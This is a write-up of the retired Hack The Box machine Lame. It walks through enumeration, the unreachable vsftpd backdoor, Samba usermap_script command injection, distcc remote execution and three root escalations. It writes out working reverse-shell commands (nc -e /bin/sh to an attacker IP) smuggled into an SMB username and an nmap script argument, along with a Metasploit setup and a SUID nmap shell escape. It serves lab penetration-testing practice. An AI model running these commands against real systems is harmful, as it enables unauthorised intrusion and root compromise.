Target: Hack The Box, retired - the very first HTB machine. Ubuntu, Metasploitable-style, Samba 3.0.20, at 10.10.10.3.

Lame is a lesson in ruling things out. It shows four vulnerable-looking services. Two are traps, one is a clean root, and one is a foothold with a choice of escalations. Learning which is which - and why the obvious vsftpd backdoor does not fire - is worth more than the solve.

Attack path

vsftpd 2.3.4  -----X  dead: firewall blocks inbound 6200

Samba 3.0.20  ----->  CVE-2007-2447 usermap_script  ----->  root, directly

distcc 3632   ----->  CVE-2004-2687  ----->  shell as daemon
                                                  |
                                                  +--> SUID nmap      --> root
                                                  +--> weak SSH key   --> root
                                                  +--> UnrealIRCd     --> root

Enumeration

export TARGET=10.10.10.3
nmap -p- --min-rate 5000 -oA scans/all-ports "$TARGET"
nmap -sC -sV -p 21,22,139,445,3632 -oA scans/services "$TARGET"

21/tcp   open ftp     vsftpd 2.3.4
22/tcp   open ssh     OpenSSH 4.7p1
139/445  open smb     Samba 3.0.20-Debian
3632/tcp open distccd

Four candidate vulnerabilities. Not all of them fire.

The trap: vsftpd 2.3.4

vsftpd 2.3.4 famously ships a backdoor - a username ending in :) opens a root shell on port 6200. On Lame it does not work. The firewall blocks inbound traffic to 6200, so the backdoor opens and you cannot reach it.

Try it, watch it fail, and understand why. A vulnerable version is not an exploitable one if you cannot reach what it opens. That single lesson is why the port is here at all.

Route 1: Samba usermap_script, straight to root

Samba 3.0.20 configured with username map script passes the username to a shell before authenticating it. Shell metacharacters in the username therefore run as root.

Manually, through smbclient:

smbclient //10.10.10.3/tmp -N
smb: \> logon "./=`nohup nc -e /bin/sh 10.10.14.24 443`"

With a listener waiting:

nc -lvnp 443

Metasploit does the same thing:

use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set payload cmd/unix/reverse
set LHOST 10.10.14.24
set LPORT 443
run

The service runs as root, so the shell is root immediately. No user stage, no privilege escalation.

Route 2: distcc, a foothold with three escalations

distcc on 3632 executes compile jobs with no authentication at all.

nmap -p 3632 "$TARGET" --script distcc-exec \
  --script-args="distcc-exec.cmd='nc -e /bin/sh 10.10.14.24 443'"

That gives a shell as daemon. From there, three separate escalations, which is why this is the better route to practise.

SUID nmap. Old nmap builds have an interactive mode that will spawn a shell:

find / -perm -4000 2>/dev/null | grep nmap
nmap --interactive
nmap> !sh

Weak Debian SSH key (CVE-2008-0166). Root’s authorized_keys holds a key generated during the broken Debian OpenSSL era, when the entire keyspace was predictable and has since been pre-generated:

git clone https://github.com/g0tmi1k/debian-ssh
# match root's public key against the 2048-bit RSA set, then:
ssh -i <matched_key> root@"$TARGET"

UnrealIRCd on 6667/6697 carries a backdoor and runs as root.

Which route to prefer

Route 1 is one command to root and is what most people do. Route 2 is worth doing anyway: a distcc foothold plus three independent escalations is a compressed course in Linux privilege escalation, and the weak-SSH-key step is a piece of history worth seeing work once.

The wider point is that a box with several vulnerabilities rewards trying all of them rather than stopping at the first root.

Sources